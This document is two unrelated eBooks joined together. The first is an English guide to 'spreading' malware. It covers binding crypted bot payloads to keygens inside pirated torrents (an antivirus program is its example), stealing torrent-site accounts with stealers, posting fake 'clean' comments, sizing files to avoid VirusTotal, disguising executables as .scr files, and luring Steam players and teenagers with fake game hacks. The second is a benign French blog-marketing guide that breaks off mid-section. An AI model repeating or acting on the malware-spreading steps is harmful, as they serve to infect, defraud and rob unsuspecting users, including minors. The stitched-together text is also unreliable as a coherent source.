ankit@bol.net.in <mailto:ankit@bol.net.in>

Contents
Disclaimer1
Introduction..2
Getting Started...3
T ips & Secrets................4
Choosing your target audience...5
Downloading, crypting, binding, and making the torrent6
Uploading your torrent...............8
Conclusion....9

Disclaimer
This eBook is provided as-is with no representations or warranties, either express or
implied, including, but not limited to, implied warranties of merchantability, fitness for a
particular purpose and noninfringement. You assume complete responsibility and risk
for use of any of the information made available in this book and any and all related or
advertised services.
Some jurisdictions do not allow the exclusion of implied warranties; so the above
exclusion may not apply to you.
The author of this book, its agents, representatives and employees are neither responsible
nor liable for any direct, indirect, incidental, consequential, special, exemplary, punitive,
or other damages arising out of or relating in any way to this book and/or its content or
information contained within it.
By using the information made available in this book you agree to take full responsibility
of your actions. You also agree to use the fore mentioned information according to the
laws and regulations of your jurisdiction.
This book, including any part of its content, must not be produced, reproduced, copied or
passed on without the prior written consent of the author. The book ships with
absolutely no Private Label Rights or Master Reless Rights and is licensed for personal use
by the person whose name appears on the receipt.

Introduction
Greetings!
F irst of all, let me say that Im really glad you decided to buy this detailed book about
spreading the ultimate way.
This is the first eBook, about spreading, which is so in -depth and detailed, and Im sure
you will be able to get at least 150 bots in your first day (Yes, only 150, because you
have to keep spreading to get the hang of it). This method is the one I use personally,
and get about 600 1000 downloads per 3 days!
I will show you step by step how to make a popular torrent, and where to upload it
first, then when it becomes a bit more popular (when you have some seeds) what to do
with it, and how to make it trusted on popular torrent sites like ThePirateBay. And the
beauty of this eBook is that I am doing everything in these steps as I write this ver y
sentence you are reading, so I will provide screenshots and other stuff to make this as
easy as possible. I started writing this eBook from the moment I began to set-up a
torrent for DDoSeR 3.6
All the secrets of spreading, is revealed in this book!
After reading this eBook I guarantee you that you will have your own update / install
service or spreading service, and if you dont have that, you are already too busy
watching your downloads increase hour by hour.

So lets cut the talking and start to spread!

Getting started
Ok, as you may have guessed, we need a torrent client. A popular and easy to use one is
Torrent. You can download it from: http://www.utorrent.com. Or you can use
your favorite torrent client, but this tutorial I will be using Torrent.
When you have downloaded Torrent, you are ready to go. First of all, we need a popular
program, hopefully includes a patch / key generator (to bind our file with). There is many
ways to find a popular program, but the most common one is top 100 at ThePirateBay
(http://www.thepiratebay.org /top/300 ). If you have a fast upload speed, you can try big
torrents (which make the torrent look more legit), and if you have a slow connection with a
slow upload speed, try some smaller torrents, or consider buying a seedbox, which is
pretty cheap these days.
Put yourself in the downloaders shoes when it comes to spreading, would you download
a Photoshop crack at 45 kB, with no PE info, no leechers/seeds and the default .exe icon?
The answer is no, you would be afraid, because it looks really suspicious. But if it was a 372
megabyte Photoshop installer (I like to include a installer for the program I am making the
torrent for, it looks more legit, and I have tried to make a torrent with the same crack, just
that I excluded the installer, and got 460 more install because of the installer, so the
installer plays a big role) + a crack with some nice icon and info about the creator (PE Info) I
would run it (remember, think as the downloaders, always!)
Now lets move on to the tips & secrets.

T ips & Secrets


People think that you can get thousands of downloads just by uploading, and watching
your downloads increase, this is all wrong. This method has been tested, and gives the
best results:
1. Set up a stealer (iStealer 5.0, Stupid Stealer... you get it, there are many) and
download it on your bots. Check your logs and try to find any torrent sites (Demonoid,
ThePirateBay) and use their account to upload your torrent. This is how I got about 2k
downloads on Demonoid: I bought a Demonoid account from a log seller, and it had a
pretty good ratio on it, and I used it to upload a torrent (I only had 1 account). Then I
started to get many downloads, and I ran my stealer on them, and had about 14
Demonoid
accounts, and I used all those accounts to comment on the original torrent, with comments
like Thanks man, scanned & 100% clean etc Then I got many more downloads, and
used the other accounts to comment, and ended up with 64 comments, and 2k downloads.
(The torrent is still alive today, on Demonoid, and hopefully it wont get reported )
2. The secrets of a successful torrent: Your files must always be larger than 30
megabytes, for 2 reasons:

There is always at least one guy that uploads your file to virustotal. And virustotal

distribute your sample to antivirus companies and get it detected faster. But if your file
is
30 megabyte, then they wont be able to upload it to virustotal due to the upload limit (20
megabyte)

And there will always be at least one smart guy that will look for outgoing connections

or such, so you need more time to get leechers, so make it not too big, and not too small.
30 megabyte is always enough.
3. You need history, for successful torrents, so upload a few eBooks and movies on
your account before uploading your programs.
4. The .exe extension is sometimes not suit for the torrent; lets say you want to send to
somebody as a picture. An executable will be just dumb to send, so you can rename
it to something.scr. Scr stands for screensaver, and functions the same way as an .exe

but is less suspicious.

Choosing your target audience


In the previous chapter I used the top 100 to choose a torrent, because usually those will
get you the most downloads. But lets say you want a specific target (ex. Call of Duty 6
players) then we have to use other methods. Since you want the steams, you need to
make the target audience steam players with Call of Duty Modern Warfare 2 on it. This is
actually really easy, but must people think its hard.
So how can we make people with steam download it? Easy. Just find something steam
users would download, once again, think as the downloaders! Try stuff like Steam Cracked
Client All Games!, or something like VIP Call of Duty Aimbot etc
Torrents are not really good in this part (small programs), for this you can use YouTube, it
is a really good place to spread if you get a lot of views and ratings. Make some videos
about your hack and put many tags (keywords) and I guarantee you that you will get at
least 5 steams if not a lot more.
Think creative, what does your targets like? What would they download? Why would
they download?
Another example: You want from the age 15-17, what does this age like? Games maybe
Ive seen a lot of 15 year old people play runescape so I can make a fake runescape bot or
something in that direction. Then make a lot of videos of it, and use the same tips I gave
for the torrents. Get others YouTube account, comment/rate/subscribe yourself and then
you get more accounts and repeat the process.

Downloading, crypting, binding, and making the torrent


Now, as you have found the program you want to use for your torrent, download
it. For this tutorial, I am going to use this one:

It has 952 seeders, and 45 leechers, which is a really good (and popular) torrent. Why I
chose this torrent have its reasons:

It is an antivirus program, so the target audience probably doesnt have an

antivirus installed.

It has a key generator included, which is also good for us, so we can bind it.

T ip: I usually bind my program with the installer too, so if somebody for some reason
just downloads it for the installer, will get your program too.
Now I have downloaded the torrent, let s do the crypting & binding.

This is what I got so far, 5 files: installer, key generator, readme, screenshot of key
generator, and finally our program. What we want to do is bind the key generator with
our program. For this you have to use a crypter with b uilt-in binder, or a crypter and a
binder. There is a good and free one called Fly Crypter by BUNNN, you can get it from
http://hackh ound.org /forum/index.php?topic=13513.0 but you have to decrypt it
though. Now I am binding and crypting it using Fly Crypter:

Now I put everything back in their original folders, like it was when I downloaded it.
Open up Torrent, and click the magic wand tool:

Click Add Directory (or file, if you use a zip archive) and browse to your file/folder. Put
in the trackers you want to use (a tracker list go to: http ://pastebin.mozi lla.org /697683
) and check Start seeding, as below:

Now after you have saved your torrent, you should have something like this:

Uploading your torrent


Now, you have your files & torrent ready. This part is the most important part, which
many people do mistakes on, uploading your torrent. Most people make a torrent and
upload straight to the popular torrent websites like ThePirateBay or Demonoid, but this
is the worst thing you can do! F irst of all, you will get very few downloads, and the
second; you will be banned extremely fast.
Here is the right way to do it:
F irst of all, begin to upload your torrent straight to those sites:
http://www.seedpeer.com/upload.html
http://www.btjunkie.org /?do=upload
http://www.bitenova.nl/upload
http://www.fulldls.com/upload-torrent.php
http://torrents.sumotorrent.com/upload.php
Now wait for your torrent to get about 5 seeds, and hopefully 10 leechers. (Actually 3
seeds are enough, just a number of seeds are ok, and so people dont see Seeds: 0)
Then upload it to those sites (requires registration):
http://www.torrentreactor.to/torrents/add
http://www.torrentportal.com/torrentsupload.php
Then hopefully you have 10 seeds by then, and upload to:
http://www.torrentdownloads.net/upload/
http://www.torrentmatrix.com/torrentsupload.php Then when you have a bunch of seeds,
upload to:
http://torrentbox.com/torrents-add.php
Now, what you have to do is just wait, our goal is 30 seeds and 30/40 leechers. Then
upload to Demonoid and ThePirateBay after a few hours. But check the T ips & Secrets
chapter for the ultimate way to spread on those 2 popular sites. You are saving the best
last!

Conclusion
Its time to finish this book, so all I have to say is good luck, and have a happy spreading!
You will find this book really helpful when you are sitting there, staring at your torrent with
1 seed and 0 leechers. Using the information provided within this book will guarantee
you that you will become a professional spreader in no time. So what are you waiting for?
If you begin faster, you finish faster, and practice makes master.
Happy spreading.

THE END
Now go spread your torrent! :-)

Les 112 Secrets des As de la Vente- version 1.0

95
Pages

Attirer plus de prospects


52 optimisations simples !
Page 1

Les 112 Secrets des As de la Vente- version 1.0

Sommaire du livre
Avant de commencer................................................................................................................................. 3
1 Savoir qui est son client type, et si le blog est conu pour les attirer. .................................................... 4
2 Ecrire des bons articles cest bien Mais en faire la promotion cest mieux ! ....................................... 6
3 Mettre en avant les membres de votre communaut et les influenceurs. .............................................. 7
4 Proposer une inscription la newsletter ou de demande dinformations ............................................... 8
5 Simplifier linscription votre liste de prospects ................................................................................... 14
6 Donner des rcompenses vos lecteurs qui vous soutiennent............................................................ 16
7 Donner confiance vos lecteurs........................................................................................................... 17
8 Aller au devant de ses prospects .......................................................................................................... 18
9 Ecrire des article qui vont attirer des prospects cibls ......................................................................... 19
10 Mettez en valeur les vos articles auprs des influenceurs.................................................................. 20
11 Optimisez vos newsletters, emailings, auto-rpondeurs ................................................................. 21
12 Travaillez vos pages et messages de service .................................................................................... 25
13 Organisez un concours ....................................................................................................................... 28
14 Organisez un Web Sminaire en direct .............................................................................................. 29
15 Lancez une campagne sur les blogs, forums de votre thmatique en proposant votre livre blanc,
une formation gratuite, un guide dachat ................................................................................................. 31
16 Utilisez Google Test pour faire de lA/B Testing ................................................................................. 32
17 Optimisez vos landing pages de vente ou de rcolte demails ........................................................... 33
18 Utilisez les mots utilisez par les acheteurs et les prospects ............................................................... 35
19 Proposez un logiciel ou un service ou une application ou une checkliste .......................................... 38
20 Utilisez des logos, des labels pour rassurer .................................................................................... 39
21 Optimisez votre blog pour le Mobile.................................................................................................... 43
22 Mettez de lhumain ou du service pour devenir unique ! ................................................................. 44
23 Proposez diffrentes offres commerciales .......................................................................................... 45
24 Mettez du rel dans le virtuel .............................................................................................................. 46
25 Optimisez la page de remerciement dinscription la newsletter ....................................................... 48
26 Inciter laisser son email en change dun produit/service/Goodies/ complmentaire larticle
consult. ...................................................................................................................................................... 51
27 Faire un article Teaser o on ne fait que valoriser un contenu exclusif disponible en change dun
email. ........................................................................................................................................................... 52
28 Mettre une barre daide laction en haut du blog avec un message incitatif (ebook) ................... 53
29 Raliser une pop up large avec des lments incitatifs...................................................................... 55
30 Mettre un formulaire ds la home page la place du slider ............................................................... 64
31 Intgrez une Popup lorsque linternaute veut quitter la page Web ..................................................... 65
32 Bloguez pour une personne qui a un problme et non pas sur une thmatique ................................ 65
33 Proposez un contenu gratuit (ou payant) qui soit une mthode pratique. .......................................... 67
34 Proposez aux commentateurs de sinscrire votre newsletter........................................................... 70
35 Capitalisez sur les sites de contenus pour rabattre des visiteurs ....................................................... 73
36 Rduisez leffet Sapin de Nol sur votre Blog............................................................................... 74
37 R-engager les inactif avec des emails de ractivation...................................................................... 75
38 Raliser une bannire dintroduction personnalise pour chaque article avec la reprise du titre et des
bnfices ..................................................................................................................................................... 76
39 Faire apparatre la fentre dinscription pour un ebook lors du passage sur un lien hypertexte ........ 77
40 Mettre un lien dans les pages en haut et en bas de votre blog .......................................................... 78
41 Bien distinguer vos produits des produits en affiliation et des publicits. ........................................... 78
42 Mettre un lien dabonnement newsletter juste aprs la date de larticle ............................................. 80
43 Mettre les liens Facebook, Twitter dans vos newsletters et emailing ............................................. 80
44 Mettre un onglet vers vos Guides gratuits, bonus sur sur votre page Facebook................................ 81
45 Mettez un appel lactions incitatif sur vos boutons........................................................................... 82
46 Supprimer la navigation du site dans vos landing pages.................................................................... 82
47 Proposer plusieurs types de bonus pour inciter les internaute vos donner leur email. ................... 83
48 Proposer une inscription newsletter aprs les commentaires............................................................. 84
49 Envoyez un email X jours au commentateur dun article .................................................................... 85
50 Mettre une fentre promotionnelle sur la progression, par exemple aprs un tlchargement ou un
traitement..................................................................................................................................................... 86
51 Mettre une home page avec uniquement une incitation tlcharger des produits .......................... 86
52 Proposer un code Promo au lieu dun produit ou dun bonus ............................................................. 87
En Conclusion ............................................................................................................................................. 89
Dveloppez votre business sur Internet...................................................................................................... 91
En savoir plus .......................................................................................................................................... 94

Page 2

Les 112 Secrets des As de la Vente- version 1.0

Avant de commencer

Bonjour !
Gnrer du trafic sur son site cest bien, mais ce qui compte le plus cest de les inciter
vous laisser leurs coordonnes pour que vous puissiez les contacter !

Cest pourquoi jai conu ce mini guide, avec 52 astuces simples et concrtes pour
amliorer la conversion de votre site Web.

A vous de jouer maintenant !


Frdric Canevet
ConseilsMarketing.com

Page 3

Les 112 Secrets des As de la Vente- version 1.0

De nos jours, la plupart des blogueurs sont t tellement absorbs par la cration de contenu,
quils en oublient que ce nest pas produire du contenu tous les jours qui va assurer le
succs de leur blog, mais la promotion de celui-ci et les liens entrants quils vont obtenir.
Pour arrter cette course folle la cration de contenu, il faut revenir aux rgles de base du
succs dun blog qui va attirer des prospects et les convertir en clients.
Cest pourquoi dans ce dossier en plusieurs parties, nous allons vous expliquer comment obtenir
plus de prospects avec votre Blog.

1 Savoir qui est son client type, et si le blog est conu


pour les attirer.
Lun des principaux facteurs est dattirer des prospects cibls
Cela peut tre une vidence, mais la plupart des blogueurs savent uniquement de manire
approximative qui ils veulent cibler (ex : cibler ceux qui veulent gagner de largent sur internet),
mais souvent ils ne savent pas qui sont ceux qui suivent leurs publications et qui reviennent sur
leurs blogs de faon rgulire
Pour vous en convaincre, il suffit daller dans Google Analytics et voir quels sont les articles qui
gnrent le plus de trafic sur votre Blog : est-ce que ce sont vraiment les articles qui vont
attirer des prospects chauds , ou est-ce que ce sont plutt des thmatiques
accessoires ou connexes voire plutt loignes
Pour cela il suffit daller dans Comportement > Contenu du site > Toutes les pages, et voir quelles
sont vos top pages sur votre site.

Page 4

Les 112 Secrets des As de la Vente- version 1.0

A noter :
- Profitez de lanalyse des pages les plus vues pour amliorer votre taux de conversion sur
ces pages fort trafic. Cela peut tre par exemple de proposer le tlchargement dun livre
blanc, via une publicit pour vos produits Attention cependant ne SURTOUT PAS mettre des
liens daffiliation (ex: Amazon, Fnac), car Google pnalise ces pages promo.
- Identifiez les pages qui devraient bien fonctionner (les pages avec vos trs bons contenus,
celles avec des mots cls trs majeurs de votre secteur) mais qui ne gnrent pas beaucoup de
travail. Vous devrez alors les optimiser (crer du nouveau contenu, obtenir des liens vers cette
page).
Pour amliorer le rfrencement de vos pages stratgiques, consultez notre CheckListe SEO
disponible au format Excel sur CE LIEN et consultable ci dessous :

Ensuite il faut identifier ses clients actuels, par exemple via lamthode des personas:

Page 5

Les 112 Secrets des As de la Vente- version 1.0

Ensuite il faut bien valider que ce que vous pensez est bien le reflet de la vrit Et pour cela
vous devez mener une petite enqute rgulire auprs de vos clients et prospects
Pour cela nhsitez pas utiliser un outil de cration de sondage comme Survey Monkey.

A retenir : Cest bien davoir du trafic, mais cest mieux davoir du trafic cibl et pertinent !

2 Ecrire des bons articles cest bien Mais en faire la


promotion cest mieux !
OK vous venez dcrire un super article, vous en tes super content mais le lendemain en
regardant vos stats vous voyez quil nattire que quelques dizaines de visiteurs
Et souvent, ce sont les mmes visiteurs que dhabitude en regardant le rapport sur les returning
visitors de Google Analytics
Pour cela vous pouvez vrifier vos statistiques par jour dans Audience >Comportement >
Nouveaux vs connus :

Page 6

Les 112 Secrets des As de la Vente- version 1.0

Il faut donc travailler la promotion et la valorisation de votre contenu.


Cela passe par :
- Un relais (automatique ou non) sur Twitter, Facebook
- Une r-utilisation sous dautres formes (vido, powerpoint, infographie)
- Un envoi sur sa newsletter

3 Mettre en avant les membres de votre communaut


et les influenceurs.
Cela veut dire bien entendu mettre en avant ses lecteurs :
proposer un guest posting (chez soi ou chez les autres),
poster des tmoignages, succs stories de clients
proposer des blogueurs de sa thmatique dcrire chacun un article sur un sujet sur chacun de
leurs blogs et de relayer les autres

Mais galement en invitant les influenceurs sur son blog (blogueurs connus, stars, experts),
par exemple comme la fait Jrmy Goldyn en demandant 7 blogueurs Comment rester focus
(mise en avant via une infographie + du texte) :

Page 7

Les 112 Secrets des As de la Vente- version 1.0

Cela prend 1h de travail, et cela permet de capter un peu de notorit mieux quen faisant
un article de blog normal.
Attention cependant apporter suffisamment de valeur ajoute dans larticle pour ne pas dcevoir
les lecteurs

4 Proposer une inscription la newsletter ou de


demande dinformations
Un des principes essentiels (et trop souvent) nglig est simplement dafficher clairement
longlet de souscription la newsletter.
Limage ou le bouton pour sinscrire doit tre trs visible (au dessus de la ligne de flottaison de
scrolling), mais aussi avec un bouton clairement visible, avec ventuellement un appel laction.
A chaque fois quun internaute visite votre blog, il est essentiel de capter son intrt et de
linciter vous donner ses coordonnes.
Sur ConseilsMarketing.fr, suite des tests, le formulaire de newsletter a t remplac par des
livres blancs gratuits tlcharger :
- 6 blocs avec des Guides gratuits dans la barre de navigation
Page 8

Les 112 Secrets des As de la Vente- version 1.0

Page 9

Les 112 Secrets des As de la Vente- version 1.0

- 1 bloc en bas de chaque article avec 4 guides gratuits

- une pop up qui saffiche quand linternaute descend dans la lecture dun article, et qui
propose des guides tlcharger.
Pour cela jutilise le plugin Unpop Boxes (30 ) qui sintgre totalement WordPress.

Pour les prestations, il faut bien entendu les mettre en avant .


Sur ConseilsMarketing.fr nous proposons que de la publicit et des produits (eBooks, formations
vido).
Page 10

Les 112 Secrets des As de la Vente- version 1.0

Par exemple la vente despaces Pub est mentionne en haut du blog via la mention sur la publicit
:

Mais aussi tous les espaces publicitaires dans la barre de navigation :

Page 11

Les 112 Secrets des As de la Vente- version 1.0

Page 12

Les 112 Secrets des As de la Vente- version 1.0

En dessous de certains articles :

Et tout en bas du Blog dans le footer :

Nanmoins la vente directe nest gnralement pas ce qui fonctionne le mieux

Il faut faire une vente en 2 temps :


Rcuprez les coordonnes de prospects en proposant du gratuit / des chantillons / de laide
lachat /
Puis envoyez diffrents messages et diffrentes promotions jusqu convaincre le prospect.

Noubliez pas dintgrer ces prospects dans une chane de prospection (voir cet article),
avec Aweber ou SG Auto-Rpondeur.
Cela vous permettra denvoyer automatiquement des messages pr-programms et didentifier
ainsi les prospects chauds des prospects froids.
Page 13

Les 112 Secrets des As de la Vente- version 1.0

5 Simplifier linscription votre liste de prospects


La prochaine chose faire aprs avoir configurer le processus de souscription et le schma des
inscriptions est de crer un module rserv pour souscrire votre blog.

Cette inscription peut se faire en 1 temps, cest dire que le lecteur peut directement entrer son
email :

Soit cela se fait en 2 temps, un clic sur la publicit, puis un formulaire remplir (dans le cas de la
publicit, dun contenu expliquer en dtail).

Page 14

Les 112 Secrets des As de la Vente- version 1.0

A noter : vous pouvez crer une page ddi pour les visiteurs que vous allez obtenir via les
rseaux sociaux.
Par exemple vous pourrez crer une page spcifique dans votre profil Twitter, Facebook
permettant vos contacts de recevoir un ebook sils vous rejoignent.
En illustration, voici ci dessous mon profil Twitter, avec comme lien dans la description un lien
direct vers la page de tlchargement de mon guide gratuit.

Page 15

Les 112 Secrets des As de la Vente- version 1.0

De manire plus large, et quelque soit le rseau, vous pourrez crire Visitez mon blog et recevez
gratuitement un guide gratuit
Vous devez aussi prvoir des outils de promotion de vos contenus stars (eBooks, vidos..) :
Des bannires de publicits que vous pourrez publier sur dautres sites internet (sur vos
autres blogs, dans adwords, pour de la publicit Adsense sur des forums & blogs)
- Des bannires de publicits que vous pourrez utiliser dans le cadre de laffiliation, dchanges
de visibilit avec dautres sites, de sponsoring de newsletters

6 Donner des rcompenses vos lecteurs qui vous


soutiennent.
Le but est de rcompenser vos lecteurs sils participent, par exemple sils partagent votre
contenu sur les rseaux sociaux.
La rcompense de ce partage peut tre un eBook gratuit, une vido gratuite, un bon de
rduction
Par exemple vous pouvez donner un bonus aux personnes qui partagent un contenu sur les Media
Sociaux via un plugin Wordpress comme Social Content Locker (17 $). Ce plugin vous permet
dafficher une fentre comme ci dessous qui masque une partie de larticle.

Page 16

Les 112 Secrets des As de la Vente- version 1.0

7 Donner confiance vos lecteurs


Convaincre dacheter ou de laisser ses coordonnes nest pas facile
Cest pourquoi il est important de rassurer ses lecteurs, la fois sur son expertise, mais aussi sur
le fait que ceux qui vous laissent leurs emails ne seront pas spamms.
Il faut donc commencer par rassurer sur le fait quils ne seront pas bombards demails.
Voici ci dessous un texte un peu extrmiste, mais qui va rassurer ceux qui sinscrivent votre
newsletter :

Lautre solution, et dutiliser des outils de rassurances comme :


Les tmoignages des clients (cf notre page Nos Clients)

Page 17

Les 112 Secrets des As de la Vente- version 1.0

- Les articles de presse, les publications dans dautres blogs, les rcompenses, les labels
de qualit qui crdibilisent votre entreprise. Cest par exemple notre rubrique Publications

A noter : la crdibilit se base sur les principes de la persuasion que vous retrouverez dans
lexcellent livre deRobert Cialdini.

8 Aller au devant de ses prospects


Quand un prospect vient sur votre site, il ne faut pas le laisser partir sans rien faire
Un peu comme un vendeur dans un magasin, vous devez reprer un prospect qui arriver
et le renseigner avant quil ne quitte le magasin
Pour cela il existe plusieurs outils :
- Le Chat (voir cet article complet sur les usages dun chat sur un site web via par exemple des
solutions low comme comme iAdvize 20 / mois )?
Il y a un double objectif.

Page 18

Les 112 Secrets des As de la Vente- version 1.0

Dune part via une icone chat disponible sur votre site qui permet au prospect de poser des
questions sil est perdu ou sil a besoin dune information avant de commande.

Dautre part pour lancer automatiquement le chat si linternaute est sur le site depuis plusieurs
dizaines secondes, mais quil ne commande pas.

Le retargeting par adresse IP (avec des solutions comme GetPlus)


Cette fois vous nallez pas interagir directement avec le client depuis votre site.
Vous allez identifier le visiteur via ladresse IP lorigine de la visite, qui sera ensuite associe un
site Web et un interlocuteur dans lentreprise (nb: ce nest valable quen B2B).
Charge vous ensuite de contacter lentreprise pour donner suite la visite de votre site Web.

9 Ecrire des article qui vont attirer des prospects cibls

Page 19

Les 112 Secrets des As de la Vente- version 1.0

On ne le rptera jamais assez, crire pour crire ne sert rien.


Vos articles de blogs doivent avoir comme objectif :
Soit de vous positionner sur un mot cls tap par vos prospects avant lachat
Soit dattirer lattention via un article polmique / tonnant / intressant /
Soit de montrer votre expertise / la satisfaction client /
Pour vous aider rdiger un article de blog qui fonctionne, voici ci dessous notre checkliste, et
vous pouvez tlcharger le fichier Excel sur ce lien.

10 Mettez en valeur les vos articles auprs des


influenceurs
Ecrire de bons articles cest bien, les relayer et les valoriser cest mieux.
Cela passe par plusieurs mthodes simples ( condition de ne pas les utiliser de manire trop
intrusive) :
- Si le journal TV, un magazine parle dun sujet particulier, vous pouvez en profiter pour
rappeler que vous avez aussi crit un article sur le sujet.
Par exemple jai Twitt un bon reportage sur le financement participatif, jai relay le reportage,
puis jai aussi indiqu lmission un article sur ce mme sujet.

A noter : vous pouvez profiter dune mission TV grande audience pour relayer un de vos
articles.

Page 20

Les 112 Secrets des As de la Vente- version 1.0

- Si vous avez crit un article sur une marque, vous devez le relayer aux marques cites.
Par exemple dans la partie 1 de cet article jai cit Get Plus et iAdvize, et donc jai relay larticle
auprs de ces marques :

A noter : vitez de faire ces tweets de promo de manire trop rapproche, sinon vous risquez de
justement faire trop promo.
- Si vous avez crit un article de trs grande qualit sur un sujet, vous pouvez le relayer
auprs des institutionnels et influenceurs qui ont vocation relayer des informations non
commerciales.
Par exemple, voici un Tweet adress la CCIP concernant un article sur une checkliste SEO :

11 Optimisez vos newsletters, emailings, autorpondeurs


Envoyer une newsletter cest bien, mais cette newsletter ou cet emailing doit inciter commander,
acheter
Cest dire que dans chaque email, soit de manire directe, soit de manire indirecte, il doit y
avoir un appel laction.

Page 21

Les 112 Secrets des As de la Vente- version 1.0

Par exemple dans notre newsletter HTML la publicit est place juste en dessous de lEdito, et
juste avant les articles du mois.
Cet emplacement trs visible permet davoir un taux de clic important.

Lorsque lon utilise un systme dauto-rpondeur, il faut alterner messages informatifs et


messages promotionnels :

Page 22

Les 112 Secrets des As de la Vente- version 1.0

Cest aussi en ajoutant des appels laction la fin des emailings ou messages, par exemple via
un post-scriptum :

Dans le mme temps vous devez mettre en place une segmentation comportementale.
Derrire ce terme un peu barbare, cela veut dire uniquement avoir du pragmatisme et simplement
cibler les bonnes personnes selon leurs comportements.

Page 23

Les 112 Secrets des As de la Vente- version 1.0

Cest dire que vous allez analyser les comportements de vos lecteurs, et ainsi les segmenter.
Cela peut se faire via :
- Un email thmatique que vous allez envoyer vos clients, et ainsi segmenter les clients
selon quils ont ouvert ou pas larticle, ou quils ont cliqu ou pas sur un lien.
Vous pouvez analyser les personnes qui ont cliqu sur des liens thmatiques et ainsi nenvoyer
ces personnes que des informations sur ce thme.
Ainsi avec des solutions demailing avec tracking, vous pourrez voir les personnes qui sont par
exemple intresss par votre produit mais qui nont pas command (vous pourrez alors les appeler
au tlphone, leur envoyer une promo).

- Un email avec une simple question afin de segmenter les personnes selon leur choix.
Par exemple vous pouvez envoyer un email vos lecteur, leur demandant sil prfre de recevoir
des informations sur deux ou trois thmes, et ainsi ne plus leur envoyer que ces informations sur
cette thmatique.
Une autre astuce est dutiliser votre signature demail comme vecteur de communication lorsque
vous rpondez des questions par email, lorsque vous communiquez avec vos lecteurs
Pour cela il suffit dutiliser votre logiciel de messagerie comme Outlook, Gmail, hotmail et
dajouter une signature avec vos produits gratuits ou payants :

Page 24

Les 112 Secrets des As de la Vente- version 1.0

Vous pouvez automatiser vos signatures en rajoutant par exemple vos profils Twitter, Facebook,
un flux RSS avec des outils comme WiseStamp.

12 Travaillez vos pages et messages de service


La premire chose est de vous assurer que les abonns newsletter, les personnes ayant
tlcharg de votre chantillon, celles demand laccs un espace vont bien recevoir
vos communications.
Par exemple, juste aprs linscription la newsletter, nhsitez pas mettre une vido ou une page
dexplication indiquant au lecteur quil va recevoir un email de votre part, et quil doit
ventuellement aller dans le dossier spam / Promotion / indsirables /
Si ncessaire indiquez un email ou un formulaire support pour rpondre ceux qui ne reoivent
pas lemail.

Page 25

Les 112 Secrets des As de la Vente- version 1.0

Sur ConseilsMarketing.fr cest une vido qui explicative mais aussi promotionnelle qui souvre
suite au tlchargement du guide 100 conseils pour russir sur internet

Page 26

Les 112 Secrets des As de la Vente- version 1.0

Cette URL se paramtre trs simplement depuis votre systme demailing ou dauto-rpondeur :

Page 27

Les 112 Secrets des As de la Vente- version 1.0

A noter : ces pages de service, comme par exemple celles de confirmation de commande,
permettent aussi de vendre des produits complmentaire, faire une monte en gamme, proposer
des accessoires En effet le client vient de passer commande, cest le meilleur moment de lui
proposer une promo pour quelques euros de plus (ex: pour 10 de plus vous avez un autre
ebook).

13 Organisez un concours
De temps en temps il faut crer un vnement, cest loccasion de communiquer sur votre
blog, mais aussi den parler vos contacts, de faire de la communication sur les rseaux
sociaux et de faire participer vos fans.
Le concours peut tre un concours darticles, avec par exemple lcriture dun article de blog par
vos lecteurs avec un vote pour le meilleur.
Cest par exemple ce que nous avions fait en 2007, 2008 et 2009 avec notre concours des
meilleurs conseils marketing.

Le principe tait de contacter les influenceurs dans votre domaine, et de leur proposer de
participer un concours.
Important : comme tous les concours, vous devez dposer votre rglement chez un huissier (entre
500 et 1000 euros).
Cest aussi le moment de valoriser vos lecteurs, et de leur proposer de participer lcriture du
Blog.

Page 28

Les 112 Secrets des As de la Vente- version 1.0

Le concours peut aussi tre un concours sponsoris ou ralis en partenariat avec une
marque.
Dans ce cas il est super important doffrir un gros cadeau qui va motiver les lecteurs (et quelques
petits pour les seconds).

14 Organisez un Web Sminaire en direct


Le but est que vos lecteurs aient accs votre expertise en live pour bnficier dinformations
exclusives.
Il est donc idal de proposer une mthode, de rpondre un besoin prcis pour ensuite
proposer une mthode ou un produit plus complet payant.
Ce web sminaire peut tre ralis via Google Hangout (gratuit), via Go To Meeting (offre
dessai disponible), via Webex
Lintrt pour le client est daccder ce quil y a de plus prcieux : vous !
En effet vous allez toujours proposer la fin de votre web sminaire une session de
questions rponses, o vos lecteurs pourront parler de leurs cas prcis.
A noter quil est possible denregistrer ses Web Sminaires, et de les rejouer en replay. Ainsi la
personne limpression que cest du live, alors que lenregistrement est rejou. Cependant
gnralement la fin lanimateur est en live pour les questions rponses.
Par exemple la Marketeam propose ce systme pour les confrences gratuites Blogueur Star
avec toutes les semaines des dates en replay :

Page 29

Les 112 Secrets des As de la Vente- version 1.0

Mais il est possible daller plus loin, avec un systme de confrences live avec des dizaines
dexperts afin de crer lvnement.
Le but est de rassembler les principaux experts dun sujet pour une srie de confrences
exceptionnelles pour une semaine thmatique.
Cest par exemple le cas des sessions :
Gnies du Marketing des Indpendants, avec 12h de formation live par 12 coachs

Passeport pour 1 emploi (mi-avril 2014), avec 14 coachs qui expliquent comment trouver un
job
Page 30

Les 112 Secrets des As de la Vente- version 1.0

Mais il est possible de combiner les outils marketing, par exemple on peut proposer un
eBook gratuit (livre blanc, guide dachat), puis ensuite proposer une confrence live avec
les experts pour concrtiser les ventes.
Cest ce que nous avons fait dans le cadre dun livre blanc collaboratif sur le marketing direct, qui a
suivi la mise en place de Web Sminaires Live :

15 Lancez une campagne sur les blogs, forums de


votre thmatique en proposant votre livre blanc, une
formation gratuite, un guide dachat
Le but est de rcuprer des prospects sur les sites de vos concurrents ou des blogs majeurs de
votre thmatique.
Page 31

Les 112 Secrets des As de la Vente- version 1.0

Pour cela vous allez mettre en place une stratgie en 2 temps :


- Afficher une publicit pour un eBook gratuit sur les blogs, forums
- Envoyer ensuite des messages informatifs et promotionnels aux emails ainsi rcuprs
Pour cela vous devez utiliser le rseau de contenu (Adsense) de Google Adwords.
Voici une mini vido qui vous explique le principe du rseau de contenu adsense pour reprer les
cibles les plus intressantes :

A noter : vous pouvez trs bien proposer une publicit directe, mais souvent les taux de
transformation sont faible, car les internautes qui visitent des blogs ne sont pas dans un process
dachat.
Il est aussi possible dutiliser laffichage de publicits sur Youtube (via les publicits vido
dans Google Adsense).

16 Utilisez Google Test pour faire de lA/B Testing


Lobjectif est de tester diffrentes publicits pour vos eBooks, diffrentes accroches pour
convaincre les lecteurs de donner leur email ou de commander vos produits.
Pour cela vous pouvez utiliser Google Test dans Google analytics afin de faire de lA/B Testing.
Pour cela utilisez une iFrame pour intgrer une page HTML dans votre Blog et ainsi tester
diffrentes options :

